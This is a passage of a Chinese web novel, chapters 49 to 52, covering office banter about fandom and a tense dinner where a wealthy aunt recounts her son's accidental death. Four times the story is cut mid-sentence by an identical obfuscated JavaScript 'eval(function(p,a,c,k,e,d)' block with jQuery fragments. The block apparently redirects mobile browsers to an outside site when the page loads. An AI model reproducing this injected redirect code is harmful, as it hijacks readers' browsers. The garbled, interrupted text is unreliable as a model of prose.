看着手机屏幕再次变回点外卖的页面,赵安梦却没了吃饭的心情。
虽是如此,她还是吃到了一份外卖,刘景请的,理由是前几天请了李乐一顿午饭,这次轮到赵安梦了,下次则是柳南絮。
除了有些意外的赵安梦本人外,其余人都没有任何意见。
赵安梦难得没有下楼找李乐一起吃饭,独自窝在办公室把外卖吃干净,然后午休。
“咚咚咚”响起三声敲门声,赵安梦一边让人进来,一边把脖子上的U型枕取下来。
柳南絮推开门,看到赵安梦手里面的U型枕,为了尽量不耽误她太多午休时间,进门就开门见山道:“今天晚上吃饭,我可不可以带一个人?”
赵安梦没办法做主决定,毕竟“吃饭”这件事是赵芹想找柳南絮聊天,她只是起到一个搭线的作用,于是便说:“我给姨妈打个电话,你问问她吧!”
柳南絮点点头,等着赵安梦给赵芹打电话。
电话被接通后,赵安梦先喊了一声“姨妈”,解释道:“柳老师有件事想和你商量一下。”
得到赵芹的应允,手机到了柳南絮的手里。
柳南絮礼貌地说:“赵女士你好!我是柳南絮。”
赵芹也客客气气地说:“嗯!想和我商量什么?”
对方兴许是在午睡,声音听起来懒洋洋的,柳南絮直奔正题,问:“关于今天晚上吃饭,我可不可以带一个人一起去?”
赵芹想到自己打算在吃饭的时候同柳南絮谈论的话题,没有立即回答,在经过漫长的思考过后,询问柳南絮那样做的原因。
柳南絮自然不可能给出“让莫宁跟着听故事”的理由,虽然是大实话,但换谁听都会觉得这是不尊重。
稍作思索,他开口说:“我觉得有她在的话,饭桌上的氛围会好很多,另外,她也见过福安安。”
“福安安”这三个字对赵芹的诱惑实在太大,所以手机另一端的人当即同意。
目的达成,柳南絮把手机还给赵安梦,说:“好了,那我先不打扰你午睡了。”
“没打扰。”赵安梦手上不停翻转着手机,柳南絮觉得她有话要说,就没离开,等她酝酿好开口。
“柳老师。”
赵安梦喊了一声。
“实在是对不起,昨天你消息一发过来我就看到了,但是看到你和福安安相处得那么好,心里面实在不舒服,再加上姨妈她一路都没和我说话,所以我故意晾着你,等把姨妈送到家,又回了自己家才回的你消息。”
柳南絮毫不在意,道:“哦!没事儿,这点小事不用放在心上。”
赵安梦没告诉柳南絮,她刚把拒绝的消息发出去没多久,赵芹就打电话给她表示要请柳南絮吃饭。电话还没挂断,赵安梦就连忙把发出去的消息撤回,结果发现已经过了撤回的时限,可又没办法拒绝赵芹,所以只好今天厚着脸皮开口再提一次。
好在,事情办成了,不然的话,也不知道赵芹会怎么闹。赵安梦光想想就觉得头疼。
为了让晚饭进行得顺利,赵安梦给柳南絮打了一针预防针,提醒道:“我姨妈有点执拗,如果她哪里态度强硬的话,麻烦你不要和她发生争执。”
柳南絮觉得应该不成问题,更何况这次莫宁也去,大概率不会冷场,说:“好的,我记下了。”
天色迅速变暗,工作的人迎来了下班休息的时间。
李乐看到赵安梦和柳南絮一起和她打招呼离开,正在涂口红的手瞬间停下,隔着玻璃门眼巴巴望着二人一前一后渐行渐远。她手里面高举着口红,脸上则是一副“天要塌了”的表情。
直到刘景从楼上晃悠下来,李乐都还没恢复。
“小李,口红要化了。”
李乐立刻把视线收回来转向口红,发现上当后一张小脸更皱了,一屁股坐回椅子上,说:“老板,你吓我一跳,这支口红可是我所有口红中最贵的,我每次涂都心疼到不吃东西,它要是化了我当场哭给你看。”
刘景笑着问:“哟!那今天这妆还挺贵,是打算去哪儿玩?”
“我上周新追了一位歌手,今天晚上八点在市中心的新体育馆内有他的演唱会,我托朋友好不容易才买到了票,还是黄牛票价,心疼死我了,”莫宁做出捂心口的动作,“所以决定让这支口红给我充充面儿。”
“成,祝你玩得开心。”刘景说着在沙发上坐下,从手提包里面掏出一本书翻看等李乐化完妆他好锁门。
“肯定会玩得开心的,这位歌手才大火,我现在只希望不要哪天突然爆出关于他的负面新闻。”李乐叹了一口气,非常痛心地说,“我上个月才追的一个爱豆昨天彻底塌房了,这个要是再塌,我真不知道该追谁了。”
一听这话,刘景立马笑了,说:“真到那个时候,你就该恭喜我了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187560|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“为什么?”李乐看着人问完,又迅速把视线挪到了镜子上,继续忙活。
刘景话里有话地解释道:“自己的员工终于能将身心全部投入到工作里面了,不该恭喜我吗?”
李乐听出了自己老板的言外之意,仍旧不服地同他争辩,问:“难道在我之前,你真的没有遇到过追星的姑娘吗?”
实话实说,来访者中还真有,而且都比李乐要疯狂。
于是刘景淡淡地说:“她们并不是我的员工。”
李乐被身份上的不平等攻击得说不出话来,为了保持一个好心情去参加演唱会,她加快了化妆的速度。
没了说话声,房间内顿时无比安静,甚至隐隐约约能听到远处夜市上吵闹的声音。
听着零零碎碎的动静,李乐找到话题忍不住再次开口,问:“老板,你说安姐到底为什么要请柳老师吃饭啊?别真是我想的那个意思吧?”
刘景刚准备说话,又听到李乐自顾自地往下说,便暂时闭上嘴。
李乐丝毫没发现刘景的无奈,还在自我洗脑。
“不过安姐和柳老师年纪相仿,这俩人工作能力都很好,在一起的话还真挺合适。”
说完,李乐开始涂着睫毛打底,动作相当小心翼翼,但仍旧耐不住反驳自己。
“可是他们在一起的话,莫宁怎么办?是不是说明我磕的CP又塌了?”
现在李乐听不得“塌”这个危险字眼,不管是别人说的还是她自己说的。
“别吧!哪个倒霉鬼会像我这样,接二连三地遭受打击?”
这话说的好像事情真成定局了一样。
为了避免李乐自己把自己说哭,刘景说话了,善意提醒道:“你先等等,小絮从来没有说过他和莫宁是你想的那种关系,另外,小絮和小赵真的只是同事关系。”
“老板,你怎么知道柳老师和安姐只是同事关系?你是不是知道什么?”
李乐像是找到了八卦话题,眼睛都放着光,问完还长长地“哦”了一声,又说:“也难怪早上的时候先是柳老师故意打断安姐的话,后来我追问又被你故意打断,合着就我自己是不相关的人。”
刘景自然而然想到了柳南絮的软皮本子,心想:有时候“不相关”才是幸运的,别不管什么热闹都想往上凑凑。
心里想的不代表能说出来,但是本着把员工往更好的成长方向上引领,刘景抬头认真说道:“今天早上我打断你的追问,无关小絮和小赵之间到底是什么关系,而是因为他们两个当事人明显都不想说。”
“他们既然不想说,我们这些外人应该识趣点当那事儿过去了,不应该是打破砂锅问到底的态度。”
“那是别人的隐私,一味追问并不是关系得以长久的好做法。”
李乐被刘景的认真弄得神色有些慌,在对方话音落下后连忙疯狂点头,说:“好的,老板,你说的话我全都记下了,以后我会长眼色的。”
刘景的视线落在李乐身上,莫名地说:“你一直都很有眼色。”
李乐的脸色瞬间发生变化,笑容垮掉,眼神戒备、疏离……
50. 第五十章
刘景脸上挂上笑,重新说:“我的意思是,你能察觉到我和小絮都是故意的,就说明有眼色,我知道你追问也是故意的,你是看准了小赵不好意思直接拒绝你。”
见李乐的脸色有所缓和,刘景把手上没怎么看进去的书合上,提出问题。
“这里就我们两个人,今天的聊天内容我不会告诉第三个人,说说看,为什么那么想问清楚?”
李乐不吭声,只是挪开了一直和刘景对视的视线,往摆放在前台桌子上的台历上看去。
刘景觉得,不论是做事还是说话,都讲究一个时机。
时机到了,水到渠成;时机不到,事倍功半。
他不是没看出李乐的问题,只是迟迟没找到合适的时机,如果谈话不能一次谈到李乐的心里面,后面再找人谈话,倒显得他这个老板执着于插手员工的私生活和个人思想了。
更何况,李乐的情况有点特殊。
所以面对眼下这个终于等到的好时机,即便李乐的态度再怎么不配合,刘景也没有放弃的打算。
“我猜猜看,你之所以想问清楚,主要目的不是因为好奇小絮和小赵的关系,而是想根据他们两个的关系,得出莫宁和小絮目前在一起的可能性,是不是?”
李乐被戳穿后,表情微动,目光再次往下移,放过台历,低头盯着桌面。
刘景知道自己猜对了,接着往下劝:“小李,你真没必要这样做,别说你不是当事人了,有些事情,就算是当事人,也没办法得到想要的结果,更何况是‘感情’这种事,有就是有,没有就是没有。”
李乐抬起了头,问:“老板,在你的眼里,追星和磕CP是一种陋习吗?”
“有度的话不算。”刘景担心以李乐目前的状态会误会自己的话,特意又说,“不单单是追星和磕CP,很多事情都是这个道理,‘度’把控得好了,就没问题。”
不知道李乐想到了什么,眼眶中涌出眼泪来,十分委屈地说:“可是很早之前就有好多人说我不务正业,连我姥姥也这样说。”
刘景察觉到,李乐说的是“姥姥”,不是父母,那么很有可能她和她姥姥的关系还算不错。
等李乐把眼泪憋回去,刘景才说出自己的想法。
“你说的那些‘好多人’出于什么目的说你的我不知道,但是我认为,你姥姥那样说,肯定是因为担心你。”
“或许是不忍心看见自己的外孙女跟在不会给出回应的人身后转悠,或许是舍不得你的心意被糟蹋。”
“只是大概不知道怎样表达,所以采取了最强硬的态度阻止你。”
李乐察觉到好不容易才憋回去的眼泪又要往外钻,连忙仰起了头,用手扇着风,尽量不让泪水触碰到皮肤。
大概是不想让气氛弄得这么不自在,李乐开玩笑地说:“老板,你安慰人这么煽情的吗?我都被你说哭了,我这妆可不能花。”
李乐这是防备心又起来了,不过说的话应该有效果。
刘景见好就收,道:“成,时间也不早了,我不说了,这里离市中心有段距离,你快点收拾吧!”
李乐一看时间,眼泪登时被吓回去了,捡起桌子上的化妆刷一通忙活。
安静优雅的餐厅完全区别于充满油烟和吵闹的夜市,且不管是坐标位置还是装修布置,都散发着金钱的味道。
在来之前,柳南絮特意提醒过莫宁,说赵芹对外距离感很强,让她尽量把气氛营造得轻松一点。
当时莫宁完全没把他的话放在心上,只觉得小事一桩。
来之后,看着大厅就那么的富丽堂皇,没见过世面的她小腿都险些打颤。
柳南絮以为莫宁身体不舒服,停下问:“怎么了?”
被引路的服务员笑盈盈地看着,莫宁强装镇定,偏头低声对柳南絮说:“你怎么不提前告诉我赵女士特别有钱啊?我来这种高档的地方犯怵。”
柳南絮面不改色地撒谎,说:“我事先并不知道赵女士的家世,不过没关系,我也犯怵。”
莫宁不信,更加小声地说:“你犯怵?鬼才信好吧!”
“镇定都是装出来的,心里其实特别犯怵。”说完为了把自己的话听起来更加有可信度,柳南絮还补充了两个字,“真的。”
原本笑盈盈的服务员已经变成了小幅度的偷笑,莫宁尴尬地把头扭正,伸手不自然地捋了捋头发,说:“走吧!走吧!别让人家等急了。”
包厢很大,再加上只有四个人的缘故更是显得空荡。
赵芹和赵安梦已经在位置上等着了,四人打过招呼后一度冷场。
莫宁觉得应该要说点什么,可又因为不了解是个什么情况,生怕说错话迟迟不敢开口,只好暗中拽拽柳南絮的外套衣摆示意他说话。
柳南絮任由莫宁拽着他的衣服,并没有先开口,而是把目光投向了赵安梦。
赵安梦清了清嗓子,正准备尴尬地招呼大家吃饭,手刚伸出去,赵芹开口说话了。
“没规矩。”
这是在说赵安梦。
于是赵安梦把手收了回去,更加尴尬地坐好,也没了要说话的打算。
气氛一度尴尬,莫宁更加犯怵,心想:我记得柳南絮告诉我说,她们是亲戚关系,难道是关系不好?可关系不好的话会一同出来请人吃饭?
莫宁不知道别人会不会,至少她自己不会。
眼下气氛的尴尬程度没有持续太长时间,因为没有人知道赵芹下一句话会说什么。
当赵女士以一种坦然又高高在上的姿态说:“知道柳先生是聪明人,所以不绕圈子了,今天主要是想请教你如何与福安安亲近起来的,只要你帮我同福安安打好关系,让他同意当我的儿子,十万,怎么样?不够可以再加,二十万,还是三十万,或者多少,你提。”
这番话一说出来,场面总算彻底尴尬。
莫宁感觉自己如同卡死机了的电脑,好半天在心里面憋出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192352|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一句:金钱买亲情?
五个大字不停地在脑海中跳跃,让莫宁生出一种自己掉进某个违法交易圈的错觉。
柳南絮倒是非常冷静,情绪没有丝毫起伏,问:“赵女士,你为什么会觉得在我的帮助下可以同福安安打好关系?”
赵芹想要皱眉,但因为说话的是柳南絮,所以很给面子的克制住了,回答道:“因为你和他关系不错。”
柳南絮先是故意说了一句:“我和他关系确实不错。”随后,在赵芹脸色越发绷不住的情况下慢慢问出下一个问题,“不过,我很好奇,你为什么这么想和福安安打好关系?”
赵芹不给面子了,黑脸了,直接道:“这是我的个人隐私,你直接说怎么样吧?”
“好的,我换一个问题。”柳南絮的表现相当彬彬有礼,“福安安让你想到了谁呢?”
这个问题一出来,别说是赵芹,连赵安梦都坐不住了,见姨妈脸色不怎么好,忙手忙脚地倒了杯温水递过去。
赵芹下意识把水杯握在手里,紧紧盯着柳南絮,问:“你这话是什么意思?”
把水递出去后,赵安梦终于记起前几天她曾不小心透露过“姨妈有个孩子”的事,当时没有把话说完,但眼下这种情况看,柳南絮大概早就猜到了她后面的话。
而莫宁原本还在恶心赵芹提出的金钱交易,在听到柳南絮的话瞬间意识到了问题的关键,难怪会让她跟着来,活跃氛围是次要的,听故事、探情况才是主要的。
“没什么意思,真的只是很好奇福安安哪里吸引到你了,毕竟全健福利院的小孩子那么多,每个都很可爱,赵女士为什么只愿意收养福安安呢?”
“先说好,我相信‘缘分’、‘合眼缘’之类的说法。”
柳南絮脸上不知何时带上了笑,但是说出来的话咄咄逼人的味道还是疯狂往外溢。
莫宁又懂了,看来今天晚上的这场饭局自己被分配到的人设是“会聪明找事拉进度条的和事佬”。
金灿灿的灯光分明驱散了外面的黑夜,可由于包厢内的人各有各的心思,反倒让包厢比黑夜更加危险重重。
赵芹对柳南絮的问题和态度都很不满意,一张打扮精致的脸不光黑,还拉得很长。
赵安梦几次张口都不知道怎么控场,莫宁其实也不知道,但她这几天学习到了一句话——真诚打败一切。
于是乎,莫宁在风浪来临之前摸着扁扁的肚子笑着问:“赵女士,不好意思打断一下,那个,什么时候能吃饭啊!我这饿得胃有点疼。”
赵芹都快忘了莫宁的存在,听到她的提议后甚至先愣了一下才放下水杯拿起筷子,随后看了赵安梦一眼。
赵安梦会意,招呼莫宁和柳南絮动筷子吃饭,只是因为心里面实在害怕“在外面透露过赵芹的秘密”这件事被赵芹得知,说话有点结巴。
柳南絮动筷子之前先给莫宁倒了杯水,莫宁沉迷于各种美味佳肴没注意到,吃一道菜就夸一句。
51. 第五十一章
十分钟不到,由于整间包厢全是莫宁没怎么见过世面的声音,赵芹烦躁地放下筷子,开口制止她的聒噪。
“既然饿了,就少说话,多吃饭。”
莫宁落后她一秒,紧跟着说:“不过赵女士,你怎么不问问我?我也知道怎么和福安安打好关系呀!”
赵芹语速快,先说完,住了嘴后,脑子里满是比自己慢一拍结束的莫宁的声音。
看着刚说完就继续埋头认真吃饭的姑娘,赵芹终于想起自己为什么会同意柳南絮带一个人来了,完全是因为听到他说的那句“她也见过福安安”。
赵芹放下筷子,亲自把莫宁还没来得及吃的一道菜转到她面前,许是没得选择不得不低头了,语气比和柳南絮说话的时候稍软一些,问:“这位姑娘你是叫莫宁吧?那你可以告诉我怎么和福安安打好关系吗?”
“可以是可以,但是吧!柳老师好奇的问题我也很好奇,所以,他没得到的答案我也想知道。”
莫宁说话的时候没看赵芹,而是伸着胳膊去夹菜,自然注意不到她的脸色。
赵芹脸上淡到几乎看不出来的笑容险些被莫宁的话刺激掉,勉强控制了一下火气,刚要开口反问为什么执意打探她的个人隐私,就听见莫宁剥着虾不紧不慢地来了个转折。
“不过,现在我更加好奇的是……”莫宁把剥好的虾塞到嘴里,嚼完咽下肚抬头看向赵芹,把后面的话说完,“赵女士为什么对柳南絮这么有敌意?不是你邀请的他吃饭吗?”
莫宁没有柳南絮那么敏感,更没有系统性地接受过心理方面的知识,所以提出来的问题全凭感觉。
感觉不对,于是便问了。
眼看赵芹脸色又要变,莫宁放下筷子,也不客气了,道:“赵女士,提醒你一句,不论你经历了什么,至少我和柳南絮都不亏欠你,所以如果你要是想好好聊天,那么接下来请不要再对我们甩脸色了,如果不想好好往下聊,我们现在就可以走,哪怕你反悔不想请客了,也是可以的,就算这地方再贵,我们自掏腰包也是吃得起的。”
莫宁脸上装得非常镇定,却是在温度舒适的包厢中出了一层手汗。
她真的很怕赵芹顺着她的话往下来一句“不请了”,更怕他们自掏腰包真吃不起这一顿饭。
可是吹出去的牛,怎么着面子上都要撑好。
更何况柳南絮看起来还是那么镇定的样子。莫宁想着,用余光留意了一下身边的人,然后就发现柳南絮拿着手机在看余额。
最最关键的是,余额上竟然显示:21.60。
莫宁手心里面的汗更厚了,同赵芹对视的时候脑子里面疯狂怒吼“不妙”,吼累了疲惫地心想:二十块钱能买我刚才吃的那一盘虾吗?
想完又想:在这里刷盘子的话要刷多久才能付得起这一桌子饭钱?员工有内部折扣吗?
乱七八糟的问题盘旋在莫宁心里面,一个飘过换另一个飘来。
赵芹自然不知道莫宁的心路历程,她甚至不知道会有人的支付余额连一盘虾都买不起。
“我既然开了口请你们吃饭,自然是想好好聊天的。”
赵芹再说话的语气变得非常客气,莫宁也就重新拿起了筷子,但是并没有继续吃饭,而是又问了一遍先前的问题:“那柳南絮是有得罪过你吗?”
“并没有,只是我,只是柳先生的职业让我……”
赵芹在暗中把呈现放松状态的手纂成了拳头,过了将近一分钟才说。
“害怕……”
害怕?
柳南絮没想到会是这个原因,他之前以为赵芹对他的敌意全部出自于“夺走了福安安的喜爱”,并没有察觉出还有别的内情。
莫宁追问:“为什么?”
赵安梦一边观察着赵芹的反应,一边不停给柳南絮和莫宁使眼色,让他们别乱问。
面对赵安梦的眼色,莫宁几次同她对视,次次装作看不懂。柳南絮更是直接装作没看到,理都不理。
赵芹这次沉默的时间很快超过了上次沉默的时间,莫宁等得都想开口说些什么了,柳南絮不能开口提醒,便就近夹了一筷子菜放到她的盘子里。
莫宁看了一眼盘子里多出来的菜,内心当即把“开口说话”的想法打消掉。
赵芹面前水杯内的水早已经放凉,但她并没有在意,端起来一口气喝了大半杯。不过放下杯子还是没有回答莫宁的问题,而是看向柳南絮,问:“柳先生相信‘缘分’的说法,是吗?”
这是要谈往事的前兆,柳南絮立即保证道:“相信,只要是赵女士说的话,我都绝对相信。”
赵芹深深地看了柳南絮一眼,回答:“我之所以想要收养福安安,是因为他长得和我儿子有几分相像。”
虽然柳南絮已经猜到会是这个原因,只是听到赵芹亲口说出来心里还是不太舒服。
“不太舒服”的原因有太多了,为福安安、为赵芹、为去世的孩子。
好在内心活动被他处理得很好,半点都没流露出来。
坐在对面的赵芹像是因为刚才的话陷入了回忆,柳南絮装作毫不知情的样子礼貌询问:“你儿子现在……”
赵芹缓缓吐出几个字,说:“他去世了。”
没有遭到拒绝,柳南絮趁机问出了今晚的主要目的,道:“可以讲讲你的儿子吗?”
听到柳南絮的问题,赵安梦比赵芹的反应都要大,颤抖着声音开口,喊:“姨妈。”
赵芹没理她,长叹一口气。偏巧随着她叹气的动作,有缕发丝从耳后跑到前面,给保养得当的女人无端增添了几分老态。
一桌子的美味佳肴从热到凉,期间没人再动一下筷子,全都保持安静,把时间给赵芹用来讲述痛苦不堪的过往。
赵芹有一个儿子,名叫李思忠。
可惜,在五年前,李思忠不幸去世,原因是被绳子勒破了喉咙。
那天保姆有事请假回家,做饭阿姨出门买菜,赵芹在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197122|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公司忙工作,只有丢下作业来找李思忠玩的赵安梦在。
一大一小玩得正开心的时候,赵茉打来电话,让赵安梦这个准高三生回家看书。
好不容易才溜出来,赵安梦自然是不愿意的,起身走到一边和妈妈讨价还价。
一番口舌后终于说服妈妈同意让自己在姨妈家玩半个小时,她低头挂断电话心里面都是美滋滋的。
没想到,就在她打电话的这段时间,危险降临了。
李思忠挪动着溜冰鞋跑到了屋门外面,还直接从台阶边上的一截滑坡滑了下去。他本来就处在学习的阶段,并不熟练,根本控制不好,全程都是跟着溜冰鞋在动,最后一头冲向了墙角处。
墙角处那里安置着一套帐篷,是之前李思忠强烈要求在家里搭建帐篷玩,所以赵芹便买了一套搭建在了院子里。
帐篷旁边,还搭建了天幕。
为避免出现塌陷的情况,天幕的四个角是用没有弹性的细钢丝斜着拽紧的,所以当李思忠被钢丝绳割到喉咙后,是没有一点缓冲的。
一切发生的太突然,也太快了。
李思忠当时心里害怕,手在空中乱挥,低着头想把双脚稳住,没注意前面,直到被割到了喉咙才伸手撑住钢丝绳。
因为惯力,即便撑着钢丝绳李思忠也没能站好,而是生生朝前栽下去。
下意识的,他松开了钢丝绳,双手做出撑地的动作。
由于钢丝绳不是平行走向,而是倾斜着的,再没了双手的阻挡,割得也就更深了。
听到动静,赵安梦循着声音望过去,危险就这样猝不及防出现在了她的眼皮子底下,她感觉脑袋里面“砰”地一声巨响,傻楞了几秒才奔向李思忠。
赵安梦抱起在地上挣扎的弟弟,腿软到险些站不直,等到双手被鲜血染红,她终于反应过来要叫救护车。
救护车来的速度很快,只可惜经过长时间的抢救,李思忠还是永远地离开了。
等赵芹讲完,赵安梦已经垂下了头。
柳南絮等了一会儿才问赵芹,道:“所以你对赵安梦的态度,是受了儿子离世的影响吗?”
“我看了家里的监控,画面很清晰,心里清楚那是一场意外,并不是她的错,”赵芹叹了一口气,“哪怕当时在场的人是我,也未必能救下儿子,除非提前阻止意外的发生。”
莫宁快言快语,直接说道:“你知道前因后果,却还是把矛头指向了赵安梦,你对她的态度,表明了是要她向你赎罪,这对她来说并不公平。”
赵芹精致的妆容早已被眼泪冲开,她哽咽着又说:“我知道对她不公平,但是我心里面到底还是压上了一块巨大的石头,无论如何都做不到对她像儿子出事之前的样子。”
面对赵芹如此坦白地讲出心里话,赵安梦只是把头埋得更深了一些。
“狡辩。”莫宁心情复杂地丢过去两个字。
赵芹没再说话,像是默认了莫宁如此犀利的评价。
52. 第五十二章
包厢内再次变得无比安静,直到赵芹提出要去一趟洗手间。
赵安梦本来是打算陪同的,被赵芹拒绝了,于是又垂着脑袋坐下。
等赵芹从包厢内出去,柳南絮才问道:“赵安梦,你也认为一切不幸的发生,都是因为自己吗?”
赵安梦抬起头,苦涩地笑了一下,回答:“我只能说,相比起责怪命运的不公,我揽下罪孽的源头是最好的选择,对谁都好。”
柳南絮试图去理解,奈何没和赵安梦的脑回路碰撞到一起去,便问:“可以解释一下为什么这样说吗?”
“我姨妈得知儿子出事后,直接大病一场。”
“我妈妈觉得是因为她给我打了那通电话惹的祸,不光在葬礼上当众磕了三个响头,后来还在我姨妈的病床前下跪,任谁都拉不起来,直到又一次当众磕了三个响头才起来。”
“从出事到现在,我妈妈再也没给我打过电话,有什么事都是发短信,每次以‘不着急’为开头。”
“怪不怪、有没有罪什么的,有时候不能以事情的来龙去脉计算,关键在自己怎么想,我就想着自己担上,给我妈妈减轻一些心理压力,给我姨妈找一个发泄口,这样挺好的。”
赵安梦说话的音量很正常,所有的痛苦都显露在表情上,看得人心疼。
莫宁感叹赵芹的遭遇,也同情赵安梦的立场,可不管怎样,所有的处理方式,都是她们做出的选择,自己一个外人,没资格评头论足。
柳南絮也不问了。
他和赵安梦做了两年同事,一直觉得她是一个非常向往自由的姑娘,一有假期便提上行囊出去旅游,之前完全没有察觉到赵安梦的内心还埋藏着这种情感。
时间在沉默中悄然溜走,赵芹整理好妆容重新入座,高高盘起的头发,裁剪得体的衣服,浑身上下透露着高贵、优雅。
不了解她的人根本想不到,这个五十多岁的女人竟然时刻承受着丧子之痛。
莫宁看着赵芹,把她刚才说的话从头到尾在脑海里面过了一下,找出一个疑点,问道:“赵女士,冒昧问一下,你的丈夫呢?”
闻言赵芹右手猛地一颤,筷子上夹着的菜不小心掉到了衣服上。赵安梦迅速抽出纸巾帮忙擦拭,结果导致油污面积反倒更大。
赵芹抬手制止赵安梦,又疲惫地回答莫宁的话,道:“他是一名烈士。”
莫宁完全没想到会得到这样一个回答,整个人都紧张了起来,赶紧说:“啊!又让您想到伤心事了,非常抱歉!”
“为国捐躯,是一件值得骄傲的事。”赵芹说着还难得露出了笑容,“英雄的事迹就是要讲出来,让更多的人知道。”
大概是赵芹太长时间没对人掏心窝子聊过天了,又大概是回忆过于汹涌,她嘴角带着浅笑,慢慢讲起了和丈夫从相遇到相伴一生的过往。
时间线被拉得很长,仿佛这样讲故事的人就可以一直陷在回忆里,沉溺在没有和爱人分别的时光里。
赵芹的父母有四个孩子,赵芹是其中最优秀的,她聪明、能干、有长远的眼光。
只是那又怎样?
她是一个女孩儿,父母最大的孩子赵锦和最小的孩子赵庆都是一个男孩儿,她终究不会被父母多看一眼。
赵芹不贪图钱财,她只想证明自己,所以在毕业后被父母安排打理分公司非常欣喜,甚至买了一块蛋糕和姐姐赵茉庆祝。
即便是庆祝,也只能是偷偷的。
因为赵锦从小就防着她,生怕家产被迟早要脱离出家庭的无关人员偷走。赵庆更是被大哥洗脑到对赵芹厌恶至极,到现在都不愿意喊她一声“姐姐”。
分公司规模并不大,当初建立的目的是用来给赵锦练手的,只是一年时间不到,赵锦就赔得不像话。父母恨铁不成钢把他叫到总公司放在身边亲自教,分公司也就被抛弃了。
赵芹接手后使出浑身解数,可谓是“事事操心,样样过目”,酒量不行就练,什么不会就学,她把全部身心都花在了拯救公司上。
硬撑到第三年的时候,可算是让赵芹找到了一个逆风翻盘的新路子——房地产生意。
经过一系列的对比和风险分析,赵芹最终把目标锁定在了临平市最外围的一块地皮上。
临平市的隔壁市主抓经济,时时刻刻走在发展的最前端,交通尤其发达,临平市最外围的地皮完全可以把两个城市之间的热闹都凑上。
既然赵芹能想到,自然有更多的人紧盯着。
赵芹当时不过二十多岁,这么大一块肉根本独吞不下,找人合作是必须的。
通过种种人脉介绍,赵芹找到了一个优质的合作伙伴,经过一个多月的商谈,对方认可了赵芹这边的能力,并接受晚上吃饭详谈的邀请。
临近父母查分公司账单的时间,赵芹心里明白这个合作将决定分公司的存活问题,生意要是谈成了,一切都成了,父母也肯定会为自己骄傲。
这样想着,在饭局上自然而然喝得有些猛。
合作方欣赏赵芹的爽快,当场签了字。
原本轻飘飘的纸张因为合作的落定,再回到赵芹手上变得尤为沉甸甸,她差一点喜极而泣。
饭局结束,目送客户离开,赵芹拒绝了员工的陪同,独自晃晃悠悠地回家。
天很黑,赵芹忘记带手电,走到小道上的时候感觉有人跟着自己,由于害怕,酒醒了,脚步不自觉越来越快。
突然,身后的黑影说话了,是一道很年轻的男声。
“姑娘,请留步。”
在对方刚发出第一个字的时候,赵芹当即跑了起来。
那人也跟着跑,一边追一边说:“姑娘,等一下,我不是坏人,是想问你个路。”
赵芹没说话,仍旧往前跑,心想:你说不是坏人就不是坏人了?鬼才信你只是想问个路。
刚想完,“扑通”一声,赵芹踢到了一块砖头,摔倒了。
身后的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209461|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男人也跟着停下,像是才意识到自己的冒昧,往后退了几步,问:“姑娘,你没事吧?我真的不是坏人,只是想问个路。”
赵芹先是踢到石头脚趾疼,步子迈出去没迈稳崴到了脚,脚脖子疼没站稳又摔到了地上,摔到地上不仅摔到了屁股,手掌还被碎石子划伤了。
一连串的霉气驱散了赵芹的害怕,非常委屈地冲着男人吼道:“只是问路的话追我干什么?你不是坏人干嘛鬼鬼祟祟地跟我一路?我摔成这样都怪你,去医院的钱你出。”
男人手上做着安抚的动作,说:“好好好,但是姑娘,你能先告诉我胡铜李怎么走吗?”
赵芹连委屈都没了,只剩下怒气,再次吼道:“凭什么告诉你?送我去诊所。”
等到了诊所,赵芹才注意到男人穿着打扮土里土气的,背上还背着一个满是补丁的包,从背包里面掏出来的毛票更是一张比一张皱巴。
离开诊所的时候,男人像是开了窍,主动提出送赵芹回家,被赵芹果断拒绝,于是男人没再死皮赖脸硬要送。
赵芹憋着一肚子气,正准备瘸着腿自认倒霉离开,又被男人拦下,没好气地问:“又要干什么?”
男人面露不好意思地挠着头发笑着询问:“请问胡铜李怎么走?”
赵芹的火气变得更加大,只想赶快回家,便给男人指了指路。
